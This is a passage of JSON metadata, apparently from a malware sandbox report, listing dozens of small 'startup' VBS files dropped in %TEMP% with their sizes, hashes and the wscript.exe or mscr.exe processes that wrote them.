selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup1352268.vbs","file_path":"%TEMP%\\startup1352268.vbs","file_size":448,"md5":"dea957f2eedf4756ef680a718cf989be","sha1":"d6d72c71cccd516b0ae11e32990dc5f77de9ca45","sha256":"44f8515ec4229e0f35dadac38052f837a7c6b5b59b6d00c467acbfbe509b24ab","sha512":"a093d1a433d270c3592491702fa5689c5fa98897b5fde1979f71d82b67895d071f6014309ed9a6da25016db0f1a6957ed946ff0afbb13436a53aae5897f2c6c1","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"wscript.exe (PID: 2708)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup1446647.vbs","file_path":"%TEMP%\\startup1446647.vbs","file_size":448,"md5":"536dc8a8aa5389fe0ca00ed3075fa044","sha1":"922cf96f31e7466586e2236915ed2fa2c8517f98","sha256":"ae9ab26945dad9f8bd1ed35c6d6e3347a2c7d95587e484def9df1ace5f392963","sha512":"d598396923449ba5f227322c6c90bdd682ff4d2fac23a485e06b4309d5bfa12ea4ea3874cb9fc06479e5ed78b38c3542ab62438016f4147e45c8072b7349c2f3","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"wscript.exe (PID: 1744)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup1581107.vbs","file_path":"%TEMP%\\startup1581107.vbs","file_size":448,"md5":"bc0d7df06b8a7ab064b78e44bc2934a4","sha1":"16ecff15850c9e26059fb85a6876aa692672cf43","sha256":"8740ddae699b85764d4d826539159e0e9597f8b59c0948e62549226bdc28a20c","sha512":"a24f170bd6820de42cf164a6f7b1542d7f2603cbb8a21ac099cc5261a66fe1649c478e48ee9975930021c7a4609fbba18007be3dc5447bbaae604619f9745f7f","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"wscript.exe (PID: 712)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup196366.vbs","file_path":"%TEMP%\\startup196366.vbs","file_size":448,"md5":"36d008f169902b75e50bc69742041775","sha1":"4b48eb8ecc03d3f575aed30a5e9db91b19cf4f66","sha256":"d8837dc8cb3843023ca127071c6b0063fbb3db2d3a3a7a6910d89fb790e2929a","sha512":"3a2955789e46fe1d1d15aaa8908c00167244c06fe262548d4ca95e8ec14ec4226f5482bdc0c9d2a02ed9af7ab8598d3496455b570a49b4554adc0b9eaaae3fa6","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"mscr.exe (PID: 3724)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup1990457.vbs","file_path":"%TEMP%\\startup1990457.vbs","file_size":448,"md5":"a905916fad772f54d4501a3c3524b977","sha1":"3fefb64c12e64a47878b3f7a36bd0de6b1af2d1c","sha256":"a9a5890c2deaacb428a4604867275d656c398057405475d9a5aac4a5159aef78","sha512":"411cb504c192835071fe71e97d032b49844359afc2844cd9842971a0c61fcb2c021009db4335b42c8061c630195982ff2a62ca2a888aa7cf6b251f78d6c1366d","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"wscript.exe (PID: 2428)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup2031697.vbs","file_path":"%TEMP%\\startup2031697.vbs","file_size":448,"md5":"900e1bfbfa1432fd29e897e48e413c22","sha1":"f42bb95300993a1ab7b8e3410c774dc615ddd3d7","sha256":"c6ef299b6ae9744c73a31cc459158ea21a3bbcc4c0c835bebdf9642341840866","sha512":"c4f201040d95d71b7b3b75f9a2a3f15809a1713764d1c2110b65a25bb1eb5d626395feeb85895cbd3e4b8ab4abaafc1b88fb8fdf236c1fa62472899d71801810","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"wscript.exe (PID: 3692)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup2144209.vbs","file_path":"%TEMP%\\startup2144209.vbs","file_size":448,"md5":"86fa75ba36c17c60080ab4c8f9827697","sha1":"6425e5defd9a226d008d82cbfb6cf27adf89852c","sha256":"5e53a27fdcd825186cdd9409e26e54ccdd8722b4522fafcfbca6c3ef6a84f3b3","sha512":"1ebf6493261ea98c7ec6d0b5c458d9080437df5d5a0ea8c7dd1ec1bc844bf39f9cc5b23219045c2f0aa8ff241520f69e42ff27af0e3ab3e4c69bcf6757e2dc2e","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"wscript.exe (PID: 2628)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup2162145.vbs","file_path":"%TEMP%\\startup2162145.vbs","file_size":448,"md5":"e7d17991fd907b39c4113c6ccd64d778","sha1":"ce2b333a2c12d9e79949095cc127c364ab3eaae7","sha256":"75d8412a2c9fc8ccfbd32bb4460ddf945eb7c295b72580b7f5930b2720d1ebf0","sha512":"4988181e983094ee1fc4b94669f6bbe807384fbb84fc599640a02c0abe6714140c2c9f37c557b2b4cd7cc14014b1ebd292e4e71df79b00b24aa28cff354f4d87","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"wscript.exe (PID: 3384)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup2431673.vbs","file_path":"%TEMP%\\startup2431673.vbs","file_size":448,"md5":"b943782537011357fe58aefe069b42b0","sha1":"740747d6ef938d85a44206db06bf4320161bb055","sha256":"861797cb638639b661018d72c63bb17e7db882c828f0694463a4802e77f16d09","sha512":"7d2eb56e0bf77efe409dc4f0c829ed81a77754440b54030802cfcde30fbdacc799deb576bbeeb75a066fd336eaa15119049b568922f6deacd7261885532b6ccf","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"wscript.exe (PID: 2568)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup276877.vbs","file_path":"%TEMP%\\startup276877.vbs","file_size":448,"md5":"0a270ce4a4c0c18d0ffc910d7cd7671e","sha1":"0c151650d3a7dfa3065e8c0627c2b8901943219d","sha256":"462ae107ac7c1c4857a6895cbc47ed6c8a9cb059e554a1f3e254fb6771987c73","sha512":"bd16d12f9371912954c84a74775747eab73631c46267a104827b67735dda6a0bf38c393a87d81b37ce5cca2b5058b811fb16f51e30c335e907936b9fba99c191","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"mscr.exe (PID: 3724)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup2788310.vbs","file_path":"%TEMP%\\startup2788310.vbs","file_size":448,"md5":"fed584bdd32e1d471a55aa90203fef2c","sha1":"be6eadf47f0acc78c37cc712f03717988e10c6ab","sha256":"2f7362854e0bfe938a8574b7ffdb54f34f69169ebdea6ed24200ab106ac773ab","sha512":"c873d51ce0b41c51eb6432aa4553cf58f3c6e272b83eb8ddab187e83f642626a07a9714a9e4263363767b790e0d1b493c75c615d887d9e9a18ffa6ee7b17040f","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"mscr.exe (PID: 3724)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup2879488.vbs","file_path":"%TEMP%\\startup2879488.vbs","file_size":448,"md5":"95ef6972fa96140af1b2235b532f138a","sha1":"ba9da3a71191d47c6e7685b9a689924bdabb263c","sha256":"46bc5d22d64a3fbb9987683b272997f83cb3ad167cf0d74e7ecc6c444c56a5a5","sha512":"22e4015c265687732eaf19cb6878ef0189e9fa03de9f0dc003f5c8a5787264e29492586d3e5ac68a2447c432d591733acbe906495010dab5450e1dd86afa1c6f","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"mscr.exe (PID: 3724)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup3019309.vbs","file_path":"%TEMP%\\startup3019309.vbs","file_size":448,"md5":"007371f000470458f43b7d022106f9c2","sha1":"e71d69338f0b46af462455fbe858486daef53532","sha256":"bd3960c982493eadf651a98f82f3b3a0a64bb90e91b499afca0c29fa0a3cffbc","sha512":"9b5cded3901566b03f5924f17b566579cb08f0bdcc521f4d23efb97585545dcbeca2272ae1f6cf9e0eb7818bb0c4af34f239fbecc93ef59b5dc283e5cadd55ed","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"mscr.exe (PID: 3724)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup3077130.vbs","file_path":"%TEMP%\\startup3077130.vbs","file_size":447,"md5":"d49f101e6e644e836c63bc295d650c54","sha1":"ad82284cb4bdec018c39065970e38e1bf2a44d92","sha256":"ca0dd1fd8e1ec087b3d9369eee2d29258fd374936467d18d4ef1a81fc1fe7bc2","sha512":"4244018cb786c3af5df84f04fff812b56eebe9b7f94daac931ab3b48be2d42fb996ab0495b6d9948586b9feca60e94a593de5b10d2081b308f0ae7c9483e3edc","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"wscript.exe (PID: 4076)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup3197659.vbs","file_path":"%TEMP%\\startup3197659.vbs","file_size":448,"md5":"ae532d2b82b0e4929327cf8edc098f80","sha1":"9f5c2cd4cd6747af837c734c80845214bb7e4e67","sha256":"163dee176e65dc69ac1071e4b944d73834d5b8926c353920b62cc52474939187","sha512":"b00192c9b2a0d61f3eeb98337f66a3fd0b2084a7cc840e406f3ab0c090c3b62fca4fe6e26bb145ad8431be38689b629cfb26c5a79d9fef39ec5aa0e195b00fcc","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"wscript.exe (PID: 2832)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup3330015.vbs","file_path":"%TEMP%\\startup3330015.vbs","file_size":448,"md5":"e365a2ff68c19551843c623425f56cde","sha1":"54ec09993e133b58bb04423018526c74497cb777","sha256":"44195f1a6294bd973492bb49eaec9fa9125fae5937ed5e39e65d7f4617596030","sha512":"f63d005365808f133a84e1039d51ddb0c7ca33f6464b67ea4b1f7ad5fbb8cd8f6826ba4987deb762034700581322fab47b71006c3350a133ad8c56621f69bf07","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"wscript.exe (PID: 3456)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup4601692.vbs","file_path":"%TEMP%\\startup4601692.vbs","file_size":448,"md5":"0e6eca218ee3a8faac1982475c2aa490","sha1":"2398c29c61b33424473534a9da436f2c6235a41e","sha256":"c9ea039da8fecaaa3a7adaf567e14245e63ffdb3a6bfb0e71e7db51638bb43bd","sha512":"d9a9c1b4c50015de828bd1a2203668856c398f4cb44030d148a718a4cd7ff177e67d29709e450f7acf7d3609da98f36d4490c1acd5e6f9d6bdb2b769fd9447a9","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"wscript.exe (PID: 3572)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup4770668.vbs","file_path":"%TEMP%\\startup4770668.vbs","file_size":448,"md5":"445ddba5b774025d2abd31d1467bf76b","sha1":"fcc0b8acda5d6f7a996d275a1536fbad8fb18000","sha256":"e87a9c8c3455333411d42b6c391bc70ec13e25f2100a112bdccbfef01a162a0f","sha512":"cb4c63c2b686279580e7948b4ed78636ce731d4385eb6dd394aaa85dd2141a54137909243e98deb1a1e8508352c6173c9997ff665aa3263e420173078383663d","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"wscript.exe (PID: 3016)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup5382966.vbs","file_path":"%TEMP%\\startup5382966.vbs","file_size":448,"md5":"cf7dfbfc50f28910a33f6e6b839d660e","sha1":"f052f9fa269981f67090e0927809dda8789c70a7","sha256":"33e250f13339fb24cc2ef34ba7b69ddf0f97b40057102acf63de7197fc92e384","sha512":"1a71fa8cf0d05f7970461f6ff0541056f193c138d8580cfc4eee1a2ae15ce3d0994a685c31b6d79d0bd04b6acf3dce0fc6eea162d09788b774107696bebd0296","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"wscript.exe (PID: 2968)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup5581901.vbs","file_path":"%TEMP%\\startup5581901.vbs","file_size":448,"md5":"039d239a01a5c7aa1263adab84049f8e","sha1":"011750fefc12ddf76cd39228e03f7716f1acb0ca","sha256":"ced7bfe17184608927d8180df0d1015543893a7b72131d5f18efb538f4bf0e95","sha512":"1ae0fee197a5c5e27f6134002b61e472d921e20c5ebe31e31774998c016fb3cc68339cc1e9bbbc70d2d11adcb24bb1d1234d425c57f6b0733968fdd0c4aec542","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"wscript.exe (PID: 3744)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup562985.vbs","file_path":"%TEMP%\\startup562985.vbs","file_size":448,"md5":"1a9d7ff48f6ad98ef3111028ef16bf67","sha1":"b9c884c1d3259793ccfc6e3d04dc99b5f4d2b696","sha256":"19addea587256e8780b0facdb67979b8741ce3d4298b6fbef56acfc0b4222f4a","sha512":"c57a20550c84701a2643bf02534fdf80ca515b5fc809c85a35574cfb9ba3bca89ba210064f2b36f6651e51060a6164ab5a8ece42751e4fe288b9a1e46da52b00","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"wscript.exe (PID: 2232)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup6544173.vbs","file_path":"%TEMP%\\startup6544173.vbs","file_size":448,"md5":"a54394bd0060385dccdbc4d83f346048","sha1":"480da6373520958380b03bfa73119662b7dc4f34","sha256":"862fe7f6252c774584c89ca57a6ae2bf9a064de510ecfbad84614c6a1c263270","sha512":"804bd5f05dc34472b59bbd46ffd150d9f5bf5efbf4790a1c8dd4f974602eb7b9a7c2a2b365352d40594e9eabcf156db168945da9b4d562c1690957c98da2467a","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"mscr.exe (PID: 3724)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup6687259.vbs","file_path":"%TEMP%\\startup6687259.vbs","file_size":448,"md5":"64a2fa77f46b0465c62da54d31265d18","sha1":"26c0668d1ba374d595bbef7c3147a5efc9859fd4","sha256":"56feae088773d621f2ca92c97efcc562da38aea73f05ce2296936937b39269e2","sha512":"a6ba3f849f5e21be500d542ee594994d4d417e527d559c2bed701c3055fc35e5e3918670759796d8759da9638ca4084062e52c703d0788281e0335b21ced445d","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"wscript.exe (PID: 1476)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup6752483.vbs","file_path":"%TEMP%\\startup6752483.vbs","file_size":448,"md5":"4c04e7b91c1cad1e12f41d62eec5c4e5","sha1":"20b406a68906f532b27bb464873875068e68c2f6","sha256":"84e134c7c3ad9adaaa8ab83bc785c32c7ad17103fedf2c57bd778edd9a9d08f5","sha512":"167dd31fedc34d3f6185451cb67fe061f3a063e7167d6569f7cdc03be65ed68d4246fb8283be9fdb9c4de75345880a017693417b3d468b86c1675811e40a182f","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"wscript.exe (PID: 2584)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup7036682.vbs","file_path":"%TEMP%\\startup7036682.vbs","file_size":448,"md5":"3c4bc1ef60c9a654b41e6b1450e16d69","sha1":"ad033f4cf259be78833deb1abd7af6f84713d6d3","sha256":"36752c4cbc38b110699755b0be3534d9c77ab8862a9b8eb931a2679facec9d94","sha512":"47873d67943087ac32a32b9711aadeb927ad4cadb8ef3fdc1458d4bc840e0304218d8f14c33371e8b813fc44441493af637eb21d1384d7f74ba4f8f34c3abc20","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"wscript.exe (PID: 2996)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup7087234.vbs","file_path":"%TEMP%\\startup7087234.vbs","file_size":448,"md5":"12d5dce3b9823a76298608ef63348d9c","sha1":"2d8af89743914bfe21ce189760435145bf4f0b7e","sha256":"633700f7d54914a0c631e1a90626d08564493277407e7cb9855208a66a5d7601","sha512":"ed681969f6c7a401bd100df19c0273a854b03693172850fddf919450cf48002f69229cb119176b991f98fed480960063ca248f4a545e10896905a5080c439dfe","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"wscript.exe (PID: 3132)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup7171143.vbs","file_path":"%TEMP%\\startup7171143.vbs","file_size":448,"md5":"1abf132c8c0d0bdad764a464dbad898f","sha1":"f7bd2f500fc6fbdacd133e257735d0576340a22b","sha256":"58b58dc46dea6ffea8de95919f5fb640f7562a0e2c6108b96b5f3c6275cd6bb3","sha512":"c729046a09c7515e5281809539b4490009eb41af10f22d342abad7472798b8b93763d56976901f1df22c560f828c14e3368775f5ff47bada0ba274ab44c936f9","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"wscript.exe (PID: 1748)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup7284813.vbs","file_path":"%TEMP%\\startup7284813.vbs","file_size":448,"md5":"33421fab632290d3e83d3cd306a62321","sha1":"0d454d6d44a5d9ba2c05342f62f65a556c7d8216","sha256":"c8bed8065072d5eb130779ee0b89631e9dbf70a33924196f0e44096ac2ccd875","sha512":"ba4e9d1ed3195a55790174f402862b7eec9f40e8e0559d0462ff1505a5034f9366ed60b785194116a1211ad7ac78a79cb9699ec514b96425f0661cfaab16a01a","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"wscript.exe (PID: 3844)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup7419274.vbs","file_path":"%TEMP%\\startup7419274.vbs","file_size":448,"md5":"75da746338edbeadbf85d33ae8046c56","sha1":"23ffdd45bc4fdde62c93da36730f3dae0544e4ab","sha256":"d9569ba20b13fdf5d630ef724a5bc3600f3db83741222b26ad5ae87fc16c690a","sha512":"0ed5923c7ee8770ba2aa4014305f9ebeebc017853c1d7d2920811af87e80bd3f227c2928fc3173090696450e8f95d2e536653cb1bb9e1add3ab659735efe351b","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"wscript.exe (PID: 3980)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup7434561.vbs","file_path":"%TEMP%\\startup7434561.vbs","file_size":448,"md5":"b248d2211d04446c30ce1d6b0ddb6f95","sha1":"e7b05983a35d07a0dd1a26409d278fe872bdf079","sha256":"257232e2b716c0086122d7cc92461e6e8c9c9b472b26fcec980c93f995d0d27f","sha512":"3c32f46b3335953554800ea2404faaf3403ad3acd6806f5cb4b4dbdeeca91808f278d6af63154f25a54bb7641d7522428b0af9e1bf0d0257cf65a125a0ddceeb","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"wscript.exe (PID: 3364)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup7597624.vbs","file_path":"%TEMP%\\startup7597624.vbs","file_size":448,"md5":"0c200571244ee40c498f47aed188913b","sha1":"1c0b39759c38fc89f0eabe2b7c1dff75322fa21d","sha256":"9c3d6fd1ea861c3c4331ccca0cc18c4ac94f62677fbdd8668b31d59392e51e40","sha512":"876d2d56aaac17df5a614ea0420bdcab48218c2e8e6e361fbc3b9915962593cad1873d4144202f93c89021ccf219f8ca821da808fc87f94f5a6f22654a7787e8","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"mscr.exe (PID: 3724)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup7732691.vbs","file_path":"%TEMP%\\startup7732691.vbs","file_size":447,"md5":"edb3ee199c4c1d6776811fd324a3188b","sha1":"614dbc3a9ebded301946decc62e3a79d35b6fdd3","sha256":"34da03ff8ada0995429646f042ab63349c5fbeb069f1b20b7bd269496da43e90","sha512":"03e9546eb71405ae88d46a1a7dd8efef39efe2231bf7f384b5ed686b3bf742b27e4ea072d6da7de202986e996e9ca710e71c54c715982d855e7667004f40cc5a","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"wscript.exe (PID: 1976)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup7944398.vbs","file_path":"%TEMP%\\startup7944398.vbs","file_size":448,"md5":"4bebce9bd1288de210d38f0dd681f60b","sha1":"5deee24b8016bd51a9db6349b0c2e501288a61cd","sha256":"1e5496c143b131d6735223b76ad9875b2748e3268de4bebdb0010be0121cabdf","sha512":"222c7e27663226484985edff86e02f065ca920236dfcec727342bbc7d5ce80594a6f81709a9f2b53b00d881a708ec7b4af7ededb9b2de696eceb3175856b44b5","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"mscr.exe (PID: 3724)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup8192529.vbs","file_path":"%TEMP%\\startup8192529.vbs","file_size":448,"md5":"374acb8bc735097717d4b2c271695bfc","sha1":"e82d053d93bcefde1655867f3bd357426d1c95a8","sha256":"ad3a61d38998b7cd8788887de2853c1bf9acf448ff93173b8d4c12a857fb3853","sha512":"513da30e8e2fbb9fe76bab5d5c340010d0126946620ce1d74b758aa6c1ac9a973d577af3c711b0c2be9093a03596ef5e747e03a3533c742664b4944af0449367","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"wscript.exe (PID: 3592)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup8245793.vbs","file_path":"%TEMP%\\startup8245793.vbs","file_size":448,"md5":"1df4b4b7080d2b7ccfa5bcf4a6ae280c","sha1":"1e95b158f33943597bf415ec840884e4d4abf00c","sha256":"e5aad65d2da21354ac852abcfc11c75afef31c488e24adba37cca825f9dc5753","sha512":"96623a5fe8b6a0e0ea4b892efae44599594bd007aa093efce58be555a98f6e6ada1a525d68ec4dec1bdef3212a9e84c01ebbf09fa93aea9899ddd75814783892","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"wscript.exe (PID: 3460)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup8790147.vbs","file_path":"%TEMP%\\startup8790147.vbs","file_size":448,"md5":"57e5e992f76ad306fffc488cb1bb0fb8","sha1":"563810f017adf548f9ebe5339cf059c9fbf1d815","sha256":"d40933b5d2e935714c2d5c1c71a9cefd969894fbcbc36c6dabb2218f1bf1b00a","sha512":"72db6391d80d8832ef124e4cdafc859c5d6f6a89ab39a9c7b6712f344856c27e266e6392245716de63b2d4836964d6dd90f31ca5081f42861848f7ef5bf6f230","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"wscript.exe (PID: 3048)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup9069048.vbs","file_path":"%TEMP%\\startup9069048.vbs","file_size":448,"md5":"134fde8e1c649bcf97b4efe9a4788db1","sha1":"06ec972bdb8885649f76fb1bc20fe0bccf213787","sha256":"b01910fe691f813d1b55c94cd2df15986087d4d0e489d72048d56d9fec759872","sha512":"c5ca4f14a220f16ed2fc9e2da3c6ae4cd94c4603be6a4b9eed5f1af3bc98044f529974b1818d9eaadb9158460791439eb8ff5239a407d8b989bda2bf52912c8d","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"wscript.exe (PID: 3900)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative selection","av_label":null,"av_matched":null,"av_total":null,"file_available_to_download":false,"download_link":null,"submit_link":null,"has_overview":false,"extended_details":null},{"name":"startup9321933.vbs","file_path":"%TEMP%\\startup9321933.vbs","file_size":447,"md5":"76b1a2d8adc29e0e62aa33a24017c686","sha1":"53eed7ba96b0a55e77db2a4956a4c00dc69d84fc","sha256":"ec39207ac07483dc625bc6c6b799bda6f61d26a09c104d0109e97e514c7aa578","sha512":"0117a3f58a282c1cbea2d9c2a66974c0f7b00eb714a62b9da78e22130e3a4b28078593eb33cdb5d9c5e67195ae1d51cf3d075dc06e6e200a92161875c3e43425","type_tags":["script","javascript"],"description":"ASCII text, with CRLF line terminators","runtime_process":"wscript.exe (PID: 3292)","threat_level":0,"threat_level_readable":"no specific threat","group":"informative 